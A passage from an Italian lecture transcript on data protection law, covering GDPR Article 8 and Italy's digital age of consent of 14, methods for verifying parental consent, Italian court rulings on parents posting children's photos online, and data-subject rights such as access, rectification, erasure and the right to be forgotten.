di soggetti minori, o il fatto che all’interno del sito, insomma del servizio, ci siano dei riferimenti a personaggi famosi tra i più piccoli o insomma celebrità che sono facilmente riconoscibili per i bambini o il fatto che ci siano dei modelli o dei soggetti a loro volta di minore età. Quindi,tutta una serie di esempi che effettivamente creano un contesto digitale a misura di bambino o comunque a misura di minore. Tutti questi fattori possono contribuire a ritenere che quel certo servizio sia effettivamente destinato, rivolto a dei soggetti minori. Questo è descritto nella disciplina statunitense, però sono dei parametri, delle linee che effettivamente poi facendo riferimento al dato comparatistico, anche il Garante privacy di qualsiasi Stato europeo o il giudice può sicuramente guardare a questi come esempi utili anche nella propria attività svolta a livello nazionale ed europeo. Siamo di fronte a tutta una serie di possibili contesti in cui effettivamente è necessario, è opportuno garantire queste figure che noi presumiamo essere più fragili, bisognose di tutela rispetto agli adulti, proprio perché su tutte queste piattaforme, su tutti questi siti, su tutti questi servizi che il minore si vede offerto, poi lui stesso può generare dei dati attraverso l’attività che poi realizza nella fruizione di questi servizi, pensiamo all’attività che realizza quando fruisce di un social network, durante un utilizzo di questi servizi, la fruizione di questi servizi genera dei dati personali. Questi dati personali possono poi essere utilizzati dal gestore di questo stesso sito per profilare la loro figura del minore e quindi poi presentare delle pubblicità che possono incidere sulla sua attività, sulla sua formazione.

Il paragrafo 1 fa riferimento all’età di 16 anni, quindi 16 anni per il legislatore europeo è l’età soglia in qualche modo dopo la quale il minore può prestare il consenso. In realtà però, l’ultimo inciso del paragrafo 1 dice che gli Stati membri possono stabilire per legge un’età inferiore a tali fini, purché non inferiore a 13 anni. Quindi, con ciò il legislatore europeo permette agli Stati membri di stabilire al loro interno, quale sia l’età del consenso digitale, l’età del consenso digitale, che però è al massimo individuata in 16 anni o al minimo in 13 anni. E questo è un esempio in cui il regolamento, il GDPR, pur essendo un regolamento, non riesce nell’obiettivo di uniformazione, perché quello che è successo è che tutti gli Stati membri dell’Unione europea hanno scelto età diverse, in alcuni paesi hanno scelto 13 anni, in altri 14, in altri 15, in altri 16. Quindi abbiamo una disciplina che da questo punto di vista è leggermente diversa in base ai Paesi, l’Italia con il decreto legislativo 101 del 2018, che è il decreto legislativo non di recepimento del Regolamento, perché il Regolamento non si recepisce, ma il decreto legislativo che è servito a uniformare la normativa interna con il GDPR. L’articolo 2 quinquies del nuovo Codice, del Codice privacy rinnovato appunto dal decreto legislativo 101, prevede che nel nostro Paese l’età del consenso digitale sia 14 anni. Quindi vuol dire che il minore ultraquattordicenne potrà prestare il consenso. Quindi in Italia l’età del consenso digitale è quella di anni 14. Il minore ultraquattordicenne presta il consenso, il minore infraquattordicenne, quindi più piccolo di 14 anni (paragrafo 1), dice che il trattamento è lecito soltanto se e nella misura in cui il consenso è prestato o autorizzato dal titolare della responsabilità genitoriale (noi tutto l’articolo 8, laddove indica l’età di anni 16, lo dobbiamo rileggere come se al posto di 16 ci fosse scritto 14). Quindi il trattamento dei dati personali del minore è lecito ove il minore abbia almeno 14 anni, ove il minore abbia un’età inferiore a 14 anni il trattamento è lecito solo e nella misura in cui tale consenso sia prestato, autorizzato dal titolare della responsabilità genitoriale. Ovviamente le due situazioni richiedono una serie di considerazioni. Partiamo dal minore ultraquattordicenne, quindi il minore che presta il consenso in modo autonomo. Ovviamente questa l’abbiamo chiamata età del consenso digitale perché la regola che conosciamo tutti è che il minore in realtà, proprio perché minore non abbia una capacità d’agire, perché la capacità di agire, l’articolo 2 del Codice civile dice che viene raggiunta al raggiungimento della maggiore età. Quindi questo vuol dire che il consenso digitale si pone come strumento di esercizio della propria capacità in un’ottica di eccezione rispetto alla regola. Quindi la regola è che la capacità di agire si acquisisce, la capacità di agire è la capacità di incidere sulla propria sfera giuridica soggettiva, si acquisice ai 18 anni. Però questa prestazione del consenso si pone appunto come eccezione rispetto alla regola. E in realtà non ci sono grossi problemi nel considerare il fatto che ci siano delle eccezioni alla regola, perché da questo punto di vista il GDPR non ha introdotto una regola completamente nuova o diciamo inaspettata, perché nel codice civile, ma anche in leggi speciali, ci sono tutta una serie di riferimenti che riconoscono la necessità del minore di autodeterminarsi e quindi rispetto a specifiche situazioni conosciamo la possibilità che il minore incida in tutto ciò che riguarda un po’ le estrinsecazione della propria personalità. Quindi, insomma, ci sono già una serie di riferimenti nel nostro ordinamento che anticipano la capacità del minore di autodeterminarsi, quindi ecco da questo punto di vista non è una cosa totalmente nuova però appunto dobbiamo tenere conto del fatto che è una eccezione, un aspetto comunque particolare. Per quanto riguarda invece il minore infraquattordicenne, lì è necessaria una attenzione in più perché è vero che sicuramente non si vuole in nessun modo impedire l’accesso alle tecnologie che utilizzano i dati da parte dei minori infraquattordicenni però è necessario che questo incentivo all’utilizzo delle tecnologie o comunque questa anche inevitabilità dell’utilizzo di tecnologie da parte dei minori sia appunto realizzata in un modo che presti la massima attenzione al fatto che siamo di fronte a dei soggetti più vulnerabili; sempre nella logica per cui per il nostro legislatore fino ai 14 anni è necessario stare più attenti rispetto al processo di formazione dell’identità personale. Ecco quindi che l’articolo 8 dice che il trattamento dell’infraquattordicenne è lecito solo se e nella misura in cui è prestato o autorizzato dal titolare della responsabilità genitoriale. Allora innanzitutto con titolare della responsabilità genitoriale non includiamo soltanto il genitore ma chiunque svolga la responsabilità genitoriale per il minore, quindi anche per esempio il tutore, quindi va inteso in un senso ampio. Ci concentriamo sui verbi prestato e o autorizzato, perché sembrano sinonimi, però vanno interpretati in un modo diverso. Quindi prestato ci dice l’ipotesi in cui il rappresentante legale del genitore manifesta egli stesso una volontà positiva al trattamento dei dati. Quindi è come in questo caso della prestazione il genitore o comunque il tutore, colui che esercita la responsabilità genitoriale, in qualche modo si va a sostituire, in questo caso nell’attività di prestazione il consenso quindi è direttamente l’esercente la responsabilità genitoriale che presta il consenso per il minore. Invece autorizzato lo dobbiamo leggere in un modo diverso, autorizzato è quindi la situazione in cui il minore presta il proprio consenso direttamente, però ai fini del trattamento è necessario che il consenso del minore venga integrato o comunque confermato dall’esercente la responsabilità genitoriale proprio perché è una sorta di autorizzazione rispetto al consenso che il minore ha prestato in un’iniziale diciamo autonomia. Ovviamente qual è il problema, che tutta questa bella regola si scontra un po’ con la realtà, perché nella realtà è facile immaginare che un minore che utilizza autonomamente gli strumenti digitali sia in grado di aggirare il consenso o comunque la partecipazione del genitore, perché il minore conferma magari che il genitore è d’accordo semplicemente al posto del genitore, il genitore nemmeno sa di questa prestazione del consenso e non ha nemmeno modo di controllarlo, quindi diciamo la questione che si pone è come assicurarsi che questa regola rispetto all’infraquattordicenne venga rispettata.

Qui subentra il principio di accountability del titolare. È il titolare ad essere responsabile per fare di tutto affinché effettivamente vengano rispettati i requisiti della norma. Come fa a fare di tutto, ovviamente come al solito alla luce delle tecnologie a disposizione, dovrà realizzare, dovrà predisporre delle misure necessarie idonee a garantire che la regola venga effettivamente applicata. Quindi c’è proprio l’obbligo del titolare seppure non sia scritto espressamente nell’articolo 8 però in virtù del principio dell’accountability, di responsabilizzazione del titolare, riconosciamo, individuiamo questo dovere del titolare di adoperarsi al meglio in ogni modo ragionevole, quindi sempre anche nel rispetto della proporzionalità, affinché sia possibile verificare che il consenso sia stato prestato o autorizzato da un esercente la responsabilità genitoriale, quindi sostanzialmente che il minore non abbia prestato il consenso senza che il genitore ne sia a conoscenza. Anche qui, piccolo problema: ricaviamo questo dovere del titolare, ma al titolare non vengono date delle linee per rispettare o comunque per sapere in modo definitivo come è giusto adoperarsi. E quindi anche qui, proprio perché il GDPR su questo è lacunoso, possiamo ricorrere al dato comparatistico, riguardiamo di nuovo alla disciplina statunitense che anche rispetto a questo è più completa. Abbiamo tutta una serie di esempi che ritroviamo nella disciplina degli Stati Uniti. Per esempio il titolare può adoperarsi fornendo dei moduli da compilare, quindi il genitore deve compilare un modulo, deve riempire delle caselle da cui effettivamente poi fornisce in modo diretto il consenso al trattamento dei dati da inviare magari via mail o da compilare in un form al momento della registrazione su un certo servizio. Un altro esempio può essere che il genitore debba dare conferma attraverso l’indicazione delle generalità di una carta di credito, oppure che debba fare un collegamento web, quindi una videochiamata attraverso la quale presti effettivamente il consenso. O ancora vengono applicati degli strumenti di riconoscimento facciale attraverso la somministrazione, l’upload di una fotografia. Oppure il genitore può caricare un documento, la fotocopia del documento. Oppure ancora rispondere a specifiche domande. Insomma, tutta una serie di possibilità attraverso cui il titolare può far sì che sia il più vero possibile, il più quasi sicuro possibile che il genitore sia effettivamente partecipe alla prestazione di questo consenso. Rimanendo sul GDPR, quello che possiamo dire è che sicuramente qualsiasi richiesta venga fatta al titolare che risponde del principio di responsabilizzazione, però d’altra parte facciamo sempre valere anche il principio di proporzionalità, quindi il titolare sarà chiamato a predisporre le misure più idonee possibili però sempre sempre all’interno di un approccio proporzionato. Quindi in base a quelli che sono i rischi per il minore che il trattamento porta con sé, dovrà predisporre delle misure più o meno elastiche. Quindi se si tratta di una situazione a basso rischio, magari una conferma via e-mail o di compilazione del form della registrazione è più che sufficiente. Invece se si tratta di attività di trattamento ad alto rischio, allora magari può essere richiesta quella misura più stringente, più complicata, che dia maggiori certezze del fatto che il genitore abbia partecipato. Quindi sempre un approccio al rischio, che in base alla valutazione del rischio che il minore in questo caso corre rispetto al trattamento dei suoi dati, ricordiamoci sempre che la misura della gravità del rischio la stabilisce il titolare stesso, poi però sarà responsabile della sua valutazione nel caso in cui non sia corretta, e poi predisporre le misure che alla luce di queste considerazioni vengono considerate più idonee. Ovviamente i problemi permangono perché resta il fatto che se il metodo di verifica del consenso genitore è troppo blando, allora il minore magari riesce ad aggirarlo, così come se è troppo stringente pensiamo a quelle riguardanti il caricamento della carta di credito, che è un metodo particolarmente difficile per il minore, magari da aggirare, allora lì il problema che si pone è che possano essere magari limitate le possibilità del minore di accedere al servizio perché un genitore sicuramente è più restio dal lasciare i dati della sua carta di credito su un certo sito che poi magari utilizza il minore stesso. Quindi da un lato il rischio di aggiramento del minore, dall’altro il rischio che il consenso non venga prestato, però un bilanciamento poi di volta in volta da fare in relazione al caso concreto perché la logica per quanto poi ci sia questo rischio è comunque che bisogna sempre bilanciare da un lato il diritto del minore ad accedere ai servizi digitali, dall’altro però l’esigenza della sua sicurezza e in questo ovviamente il ruolo del titolare della responsabilità genitoriale è fondamentale. Peraltro teniamo comunque conto del fatto che questa regola riguarda gli infraquattordicenni, quindi comunque dal compimento del 14º anno poi il minore può intervenire direttamente.

Peraltro anche rispetto al modo in cui intervengono i genitori si pongono delle questioni, in particolare i genitori devono essere per forza d’accordo? O basta la volontà di uno dei due? Per esempio questo è un altro tema che si pone in realtà ben prima del discorso specifico sul trattamento dei dati personali perché è un tema che si è posto in generale rispetto alla pubblicazione delle immagini dei minori. E su questo la giurisprudenza più risalente era effettivamente più incline a riconoscere il fatto che bastasse la volontà di uno. Un esempio antecedente ovviamente le dinamiche social è quello trattato da una Cassazione del 2006, in particolare la 21172 che era riferito a una domanda di risarcimento dei danni che la madre di un minore avanzava nei confronti dell’altro genitore perché questo genitore, personaggio noto, aveva portato i figli con sé in spiaggia, con la nuova compagna e le fotografie della giornata in spiaggia erano state pubblicate da dei giornali. La nuova compagna in particolare era un personaggio televisivo e in queste fotografie risultava in topless. La madre agisse per risarcimento dei danni provocati nei confronti della propria dignità e della dignità del minore che risultava essere state lese da questa pubblicazione. La Cassazione invece diceva che la partecipazione, la volontà del genitore che aveva permesso che queste foto venissero scattate era sufficiente ad integrare la volontà necessaria alla pubblicazione anche delle immagini dei minori in queste fotografie e che quindi la domanda di risarcimento del danno che la madre aveva avanzato andava rigettata. Un secondo esempio un po’ più recente e che si va più diffondendo è quello per cui si richiede la volontà congiunta dei due genitori. Da questo punro di vista citiamo una ordinanza del Tribunale di Mantova del 2017, che è stata particolarmente studiata e commentata perché è stata una ordinanza abbastanza rilevante, perché qui, per la prima volta, c’è questo cambio di passo un po’ più netto della giurisprudenza, che poi è stato seguito anche da sentenze successive di altri tribunali. In questo caso invece entrando in gioco lo specifico aspetto dei social network (che invece nel caso di prima non c’era perché abbiamo detto che era del 2006), e con riferimento specifico ai social network, invece, la Corte, il giudice mantovano si è pronunciato nel senso di ritenere fondamentale la partecipazione di entrambi i genitori. Il caso qui era quello di genitori tra loro separati, ma con un affido condiviso dei figli minori e nell’accordo di separazione addirittura i genitori avevano scritto di non ammettere la pubblicazione delle foto dei figli su Facebook o comunque i social network. La madre in particolare, si impegnava a non farlo, tuttavia non rispettava questo impegno che era stato preso nell’accordo di separazione e quindi non solo continuava a pubblicare foto dei figli su Facebook, ma nemmeno aveva rimosso quelle che aveva già postato come con il marito si erano detti. Quindi il marito, il padre dei bambini d,ei figli minori, si rivolgeva al giudice chiedendo di inibire questa attività che la moglie continuava a porre in essere e a obbligare alla rimozione delle immagini già pubblicate. Il tribunale dà pienamente ragione al padre. Conferma questa richiesta del padre e il tribunale mantovano in questa ordinanza appunto del 2017 afferma proprio l’imprescindibilità del consenso di entrambi per la pubblicazione delle foto, perché la logica è che la circolazione delle foto dei minori su internet, in particolare i network, è una pubblicazione che non è fine a se stessa, perché nel momento in cui ho posto la foto di mio figlio minore non la sto pubblicando su internet e poi ho la certezza che la posso vedere solo io. Ma il giudice afferma che nel funzionamento dei social network, nel funzionamento della rete è implicita la pericolosità, è implicito il rischio per il minore dato dal fatto che la circolazione dell’immagine poi è incontrollabile. Un’immagine, una volta che viene postata effettivamente, poi può circolare, può giungere anche a dei soggetti sconosciuti che la possono utilizzare in qualsiasi modo. Quindi la pubblicazione dell’immagine del minore è in sé potenzialmente lesiva, potenzialmente rischiosa, potenzialmente pregiudizievole e quindi la soglia di accettabilità della pubblicazione richiede il consenso di entrambi, quindi senza il consenso di entrambi non è possibile, perché il rischio è talmente elevato che è più opportuno evitare questa combinazione.

Altro esempio, Tribunale di Rieti che è di poco successivo perché del 2019 però questa è una sentenza e non ordinanza e qui siamo di fronte ad una situazione invece di genitori separati in cui il padre aveva una relazione con un’altra donna. Questa donna stessa postava le foto dei figli del compagno, figli minori su Facebook e su determinati social e la madre di questi bambini interveniva per richiedere la cancellazione. E anche il giudice di Rieti ha fatto riferimento allo stesso identico principio sancito dal giudice mantovano due anni prima, perché proprio si sancisce la necessità di questa attività condivisa da parte dei genitori perché la diffusione e la circolazione delle immagini sui social network va considerata potenzialmente lesiva. Questa tendenza rientra perfettamente in quello che è in generale la disciplina del rapporto tra genitori e figli, perché il principio che regola l’attività dei genitori nei confronti dei figli, guardiamo gli articoli 315, 315 bis del codice civile, ci dicono proprio che i genitori devono sempre realizzare nei confronti dei figli attività che siano volte a rispondere a quelle che sono le inclinazioni dei figli, le volontà dei figli. La volontà del figlio deve essere presa in considerazione. Quindi anche la volontà del figlio capace di discernimento può essere considerato dal giudice anche nel caso di disaccordo dell’altro genitore. Però sono tutte situazioni che vanno viste nel caso concreto, ciò che occorre è che di fronte allo scontro tra l’esercente la responsabilità genitoriale interviene il giudice e il giudice quando deve decidere rispetto a delle vicende dei fatti che riguardano un minore deve sempre valutare il principio che è riconosciuto a livello ONU del “best interest of the child“. La logica è sempre quella di prendere una decisione che nel caso concreto sia in grado di soddisfare i migliori interessi del minore i best interest of the child. Un esempio in tal senso,sempre di merito, è una decisione del giudice romano in questo caso, in cui c’era uno scontro tra madre e figlio, quindi non tra i genitori ma tra madre e figlio, perché il figlio si scontrava con la madre in quanto questa pubblicava continuamente immagini su Facebook del figlio minore, non solo pubblicava le immagini, ma pubblicava anche post quindi per iscritto in cui descriveva che il figlio aveva determinati problemi e aveva determinate questioni per cui non stava bene e pubblicava tutto ciò su Facebook. Il figlio si rivolgeva quindi al giudice e il giudice riteneva effettivamente di dover intervenire rispetto a questo comportamento della madre perché andava a considerare il comportamento della madre come tale da incidere in modo potenzialmente irrimediabile sul rapporto tra madre e figlio. In particolare, il figlio chiedeva anche che gli venisse consentito di andare a studiare all’estero per allontanarsi dalla madre per tutto il malessere che gli aveva provocato questo suo attivismo sui social e il giudice effettivamente accoglieva la richiesta del figlio sostenendo che il rapporto madre figlio era talmente compromesso dall’utilizzo dei social da parte della madre che solo attraverso l’allontanamento magari si sarebbe potuto ristabilire. Insomma il ruolo del giudice da questo punto di vista è molto importante e sempre deve andare a verificare le situazioni del caso concreto.

Chiudendo sul tema del consenso, il considerando sul diritto all’oblio torna a questo punto del discorso perché rispetto al minore infraquattordicenne il cui consenso viene prestato o autorizzato dal genitore, dobbiamo tenere conto che al compimento dell’età del consenso digitale il minore deve avere la possibilità di confermare quel consenso o altrimenti esercitare il diritto all’oblio rispetto al consenso precedentemente prestato. Proprio perché la logica è che una volta compiuta l’età del consenso digitale, deve essere lui personalmente a prendere una decisione rispetto alla liceità del trattamento dei dati personali. Infatti tornando all’articolo 8, al testo dell’articolo 8, il riferimento è che il trattamento è lecito, le condizioni sono proprio quelle di liceità che richiedono la partecipazione diretta dell’interessato una volta che giunge all’età del consenso digitale.

Ultimo aspetto, il paragrafo 3 dell’articolo 8 che ci dice che il paragrafo 1 (quindi quello riferito alla prestazione, alla liceità del trattamento) non pregiudica le disposizioni generali di diritto dei contratti e questo è un aspetto importante perché il porre un’età del consenso digitale sotto la maggiore età è qualcosa che si pone come eccezione rispetto alla regola e la conferma che sia un’eccezione in realtà, la da lo stesso paragrafo 3 proprio perché dice che questa previsione dell’articolo 8 non incide, non intacca sulle regole, sulle norme degli Stati membri. Quindi tutte le regole che gli Stati membri abbiano rispetto alla validità, all’efficacia di un contratto, non sono minimamente intaccate da questa previsione. Quindi qui cosa succede, succede che poi di volta in volta bisognerà far interagire le norme di diritto dei contratti con le norme sulla protezione dei dati personali, laddove le due debbano essere applicate in un medesimo contesto, perché potremmo essere di fronte ad una situazione in cui il minore ha l’età del consenso digitale, perché magari a 15 anni, però, non avendo raggiunto la maggiore età, non può stipulare un contratto valido. Quindi potremmo essere di fronte ad una situazione in cui il trattamento dei dati personali è lecito, però il contratto a cui il trattamento afferisce è un contratto annullabile perché il rimedio previsto per il contratto stipulato da minori di età è l’annullabilità. Quindi, di fronte all’eventuale annullamento, perché l’annullamento non è automatico, l’annullamento deve essere chiesto dall’interessato entro cinque anni da quando è stipulato il contratto, siamo di fronte a quelle situazioni in cui effettivamente potremmo avere un contratto annullabile, ma un consenso validamente prestato, quindi un trattamento di dati personali è lecito. Ecco, in questi casi l’interazione fra le due discipline ovviamente sarà tale che, in caso di annullamento del contratto, appunto perché stipulato dal minore di età, nell’eventualità di annullamento del contratto allora automaticamente dovrà cessare anche il trattamento di dati personali che da quel contratto dipende, proprio perché non toccandosi le regole sulla esecuzione, l’efficacia e la validità dei contratti stipulati dai minori, sarà necessario poi di volta in volta far interagire le due discipline.

Diritto dei dati – I diritti dell’interessato

I diritti dell’interessato: accesso ai dati, rettifica dei dati, cancellazione dei dati, oblio, limitazione del trattamento, portabilità dei dati, opposizione al trattamento.

Passiamo a vedere quali sono i diritti dell’interessato che fanno un po’ da contraltare rispetto a quelli che sono gli obblighi dei titolari del trattamento proprio perché tutti i vari obblighi poi vanno a specificarsi nei diversi diritti che vengono riconosciuti, guardiamo agli articoli da 15 in poi del GDPR e in particolare il diritto di accesso ai dati personali, il diritto di rettifica, di integrazione, di cancellazione e che sono diritti un po’ più noti anche nella disciplina della privacy precedente e poi in particolare il diritto all’oblio e il diritto alla portabilità dei dati sono invece dei diritti di introduzione recente perché sono del GDPR stesso. Nel complesso quello che ci interessa è avere chiaro che tutti questi diritti in modo appunto complessivo vanno a rendere esercitabile in concreto il più ampio diritto all’autodeterminazione per quanto riguarda il controllo, il trattamento, la protezione dei dati personali, quindi in generale parliamo di autodeterminazione rispetto alle proprie informazioni. Iniziamo con l’accesso, l’accesso di cui all’articolo 15 del GDPR. L’accesso come già dal nome possiamo facilmente intuire è volto ad accedere, a reperire, a ottenere delle informazioni. Informazioni rispetto alle finalità del trattamento, alle categorie di dati che vengono trattati (sono dati comuni o se sono i dati particolari dell’articolo nove), informazioni rispetto al soggetto titolare del trattamento, al periodo per cui è previsto il trattamento dei dati o informazioni rispetto ai propri diritti. Banalmente un interessato che non conosce quali sono i propri diritti perché non conosce la normativa ha diritto di accedere a queste informazioni, di chiederle al titolare, o ancora importante il diritto a conoscere se delle proprie informazioni saranno utilizzate per attività interamente automatizzate, ovvero i processi decisionali automatizzati. La logica è sempre quella di garantire che il soggetto interessato al trattamento dei propri dati possa nel tempo mantenere un controllo, anche dopo che il trattamento è iniziato e quindi, per esempio, verificare se effettivamente le condizioni di liceità del trattamento perdurano, se il soggetto titolare sta rispettando le finalità che aveva dichiarato e così via.

Proprio perché riguarda il mantenimento del controllo rispetto alle proprie informazioni, il diritto all’accesso è un diritto che possiamo esercitare sempre. Quindi non è possibile un rapporto tra titolare e interessato in cui il diritto d’accesso sia subordinato, ad esempio, ad un certo tempo. Posso chiedere l’accesso in qualsiasi momento per cui perduri il trattamento. Questa logica è fondamentale proprio perché in ogni momento si ha diritto di conoscere come si sta svolgendo questo rapporto che riguarda il trattamento dei nostri dati e poi perché l’accesso tra tutti i diritti è un po’ il diritto che viene esercitato in apertura, l’accesso in qualche modo è strumentale all’esercizio dei diritti successivi, perché se voglio esercitare il diritto alla cancellazione magari prima esercito un accesso per conoscere meglio le dinamiche e poi valuto che effettivamente voglio procedere alla cancellazione di dati. Quindi nessun vincolo temporale. E poi l’altra cosa importante è che nel momento in cui lo esercito, il titolare mi deve rispondere innanzitutto entro un tempo ragionevole quindi così come io interessato non ho limiti di tempo per fare la richiesta, dall’altra parte invece il titolare ha dei limiti di tempo per rispondere alla mia richiesta. Si dice entro un termine ragionevole, ovviamente in considerazione delle tecnologie a disposizione del titolare e delle sue esigenze organizzative, però deve farlo entro un tempo appunto ragionevole, al più tardi entro un mese dalla richiesta. Questo periodo di un mese può essere anche prorogato fino a un massimo di due mesi, purché il titolare, quindi questo è fondamentale, purché il titolare comunichi all’interessato il ritardo, quindi la necessità di questa proroga che deve essere effettivamente necessaria al titolare e quali sono le ragioni che la rendono necessaria, quindi deve essere trasparente al massimo rispetto al motivo per cui questa risposta esiterà ad essere fornita all’interessato proprio perché la regola sarebbe che deve farlo entro un tempo ragionevole e senza ingiustificato ritardo. Per quanto riguarda poi la forma di questa risposta, la forma di questa risposta è libera, le informazioni che il titolare fornirà all’interessato possono essere fornite in qualunque forma, quindi sia cartacea, telematica o che sia in formato audio o che sia in formato video, purché la forma in questione sia intellegibile. Inoltre, oltre al limite diciamo della intellegibilità, l’altra caratteristica fondamentale delle informazioni che vengono fornite a seguito di accesso è che devono essere fornite in modo completo e chiaro.

Di regola, l’esercizio dell’accesso non prevede un pagamento. Per evitare però che un interessato possa abusare del diritto che ha di accedere alle informazioni, allora di fronte ad una richiesta reiterata delle informazioni, il titolare può richiedere, può addebitare un contributo di spese all’interessato, e sarà un contributo che ovviamente dovrà essere parametrato in base ai costi amministrativi necessari all’adempimento della richiesta e quindi per giudicare che questi costi richiesti siano corrispondenti a quanto effettivamente ammonta l’onere amministrativo in questione, bisogna anche documentare queste spese. Quindi di regola non si paga nulla però, purché siano documentati e di fronte a richieste reiterate è possibile addebitare il costo dell’accesso. Ultimo aspetto legato all’accesso è che l’esercizio dell’accesso è subordinato dall’articolo 15 alla identificazione dell’interessato, quindi il titolare deve poter identificare il soggetto interessato. Oltre a dare le proprie generalità per il resto l’interessato non deve addurre nessun tipo di motivazione, quindi qualunque sia il motivo per cui sto esercitando l’accesso non devo giustificarmi con il titolare, lo esercito senza dover motivare il perché della mia richiesta. Se ponesse degli ostacoli, se ponesse limitazioni rispetto all’esercizio dei suoi diritti allora andrebbe contro a quel principio di correttezza già trattato. Quindi qui ritroviamo un’altra concretizzazione del principio della correttezza che è proprio quella da parte del titolare di permettere all’interessato di esercitare nel modo più semplice possibile i suoi diritti. Le stesse regole legate ai tempi di esercizio del diritto e di risposta da parte del titolare, valgono per l’accesso e valgono anche per i diritti di integrazione, di rettifica (articolo 16 del GDPR). Questi diritti sono dei diritti che in qualche modo vanno a tutelare in modo più specifico, più mirato, il diritto all’identità personale dell’interessato perché la rettifica e l’integrazione sono dei diritti che permettono attraverso il loro esercizio di contestualizzare, di completare, di aggiornare le informazioni che compongono la rappresentazione verso l’esterno della persona e quindi in questo modo rendere questa rappresentazione pienamente aderente alla realtà attuale di quel soggetto e quindi a tutelarne l’identità personale. Perché la logica è che se rispetto alla mia identità personale, la rappresentazione che si fa della stessa è una rappresentazione che si basa su informazioni incomplete o informazioni non aggiornate, allora la rappresentazione che esce fuori della mia persona è una rappresentazione falsata, non corretta e quindi lesiva della mia identità personale. Attraverso l’esercizio del diritto alla rettifica e all’integrazione si interviene proprio da questo punto di vista e quindi si ricostituisce con il maggior grado possibile di accuratezza la mia rappresentazione perché andiamo a completare tutte le informazioni che non dovessero essere aderenti. Quello che dobbiamo sempre pensare è che tutto ciò che è incompleto in questo tipo di contesto, inesatto, poco chiaro, rende l’informazione in qualche modo falsata e in generale la logica è sempre quella per cui l’informazione falsata può divenire in determinati modi lesiva della nostra identità personale.

In modo complementare a questi diritti di accesso, rettifica, integrazione è la cancellazione e l’oblio, siamo nell’articolo 17. Se io interessato mi rendo conto che sono di fronte a determinati motivi che l’articolo 17 mi elenca, posso chiedere la cancellazione dei dati che mi riguardano. Alcuni esempi sono per esempio il fatto che quei dati non siano necessari alle finalità che il titolare sta perseguendo e qui stiamo concretizzando per esempio il principio di minimizzazione, oppure i dati che ho fornito non sono necessari davvero alle finalità che il titolare persegue, quindi li cancello perché non li servono. Ancora, il trattamento ha come condizione di liceità il mio consenso, io revoco il mio consenso, quindi viene meno la condizione di liceità, chiedo la cancellazione. Oppure scopro che il trattamento dei dati si sta realizzando in modo illecito e quindi chiedo la cancellazione; tutta una serie di motivi per cui posso chiedere la cancellazione. Però proprio perché ci sono delle situazioni in cui mi devo trovare, riguardo alla cancellazione non siamo di fronte ad un diritto esercitabile senza motivarlo, proprio perché è necessario ritrovarsi in determinate situazioni che appunto l’articolo 17 ci elenca. Peraltro anche quando la nostra richiesta è fondata, la cancellazione, nel senso di distruzione di dati, non è l’unico modo in cui si può soddisfare la richiesta dell’interessato perché sicuramente la distruzione dei dati che sono nella disponibilità del titolare è un primo modo, però sono idonei a soddisfare il diritto di cancellazione anche altre attività, in particolare la anonimizzazione dei dati, qualsiasi attività che renda impossibile reidentificare il soggetto. Quindi cancellare questi dati non è l’unica cosa che il titolare può fare, ma lo stesso scopo si può raggiungere anche rendendo anonimi questi dati con le tecnologie a disposizione, purché appunto sia fatto in un modo tale da rendere impossibile che i dati anonimi che restano, permettano di reidentificare il soggetto a cui si riferivano. Tant’è che mentre la anonimizzazione è possibile perché caratteristica della anonimizzazione è proprio questa scissione in qualche modo definitiva tra informazione e persone a cui si riferiscono, d’altra parte lo stesso scopo non si potrebbe raggiungere con la pseudonimizzazione, quindi con l’attribuzione ai dati di uno pseudonimo, pseudonimizzazione dei dati. Proprio perché nella pseudonimizzazione, rispetto alla anonimizzazione dei dati, non c’è questo elemento di definitività, perché se attribuisco uno pseudonimo rispetto ad un dato, in un secondo momento potrei di nuovo identificare il soggetto, invece se lo rendo anonimo automaticamente non posso reidentificare la persona a cui si riferivano. Quindi la cancellazione si può realizzare in tutti i modi con cui rendo irreversibile il collegamento tra un dato, un’informazione e una persona. Ovviamente anche qui teniamo sempre conto che a tutela del titolare vige sempre il principio di proporzionalità, per cui tutte queste attività si possono pretendere nella misura in cui il titolare abbia poi la possibilità a livello di costi, di tecnologie e di organizzazione propria, per soddisfare la richiesta. Ovviamente nel caso in cui il titolare aveva anche trasmesso a dei terzi i nostri dati di cui chiediamo la cancellazione, quindi rispetto ai quali esercitiamo il diritto alla cancellazione, il titolare dovrà rivolgere anche a questi terzi l’indicazione rispetto alle attività che ha svolto per la cancellazione e quindi questi terzi che avevano ricevuto i nostri dati saranno tenuti a fare altrettanto.

Nella pratica quello che succede è che il soggetto interessato spesso e volentieri esercita il diritto alla cancellazione principalmente in casi in cui si rende conto che il trattamento viene realizzato in assenza di un fondamento, in assenza di una condizione di liceità. In tutti questi casi il titolare può effettivamente rispondere anche in modo diverso rispetto all’accoglimento della richiesta, ad esempio il titolare potrebbe non accogliere la mia richiesta e dimostrare che il fondamento giustificativo del trattamento sussiste perché siamo nelle condizioni di liceità dell’articolo sei, e allora potrebbe respingere la nostra richiesta e quindi continuare il trattamento, verificando che effettivamente la richiesta non sia fondata.

L’articolo 17 fa anche riferimento al diritto all’oblio. Il diritto all’oblio è un diritto di nuova introduzione nel GDPR. È un diritto che conosciamo già da prima però se ne parla per la prima volta a livello normativo nel contesto del trattamento dei dati. Quindi noi conoscevamo già il diritto all’oblio con riferimento alla tutela di quella che oggi chiamiamo riservatezza, la privacy intesa come riservatezza. Con il GDPR a livello normativo entra in gioco l’oblio anche rispetto al trattamento dei dati. Sottolineo a livello normativo perché, come vi dico tra poco, la giurisprudenza aveva iniziato già a toccare questo aspetto. Allora in generale mi pare che lo avessimo già accennato nella prima lezione, il diritto all’oblio è il diritto ad essere dimenticati. Quindi il diritto di una persona a chiedere che determinate notizie sul suo conto, trascorso un certo periodo di tempo, vengano cancellate. Perché? Perché ormai risultano dimenticate o comunque sconosciute, ignote alla generalità dei consociati e quindi non c’è più interesse a venirne a conoscenza. Quindi anche delle notizie che tempo addietro erano state legittimamente divulgate, erano state pubblicate in un certo momento storico in modo del tutto legittimo, tempo dopo si può richiedere che vengano cancellate proprio perché non rivestono più un interesse, non hanno più interesse ad essere conosciute. Ed essere conosciute vuol dire ad essere divulgate attraverso i circuiti dell’informazione che un tempo erano soltanto i giornali o al massimo la televisione, ormai anche e quasi principalmente su internet. Quindi il criterio principale, sicuramente per verificare la fondatezza della richiesta di esercitare il diritto all’oblio è il trascorrere del tempo. Quindi è necessario che sia trascorso un tempo tale che abbia fatto perdere rilevanza alla notizia. A meno che poi non siano nel frattempo emersi dei fatti nuovi o comunque 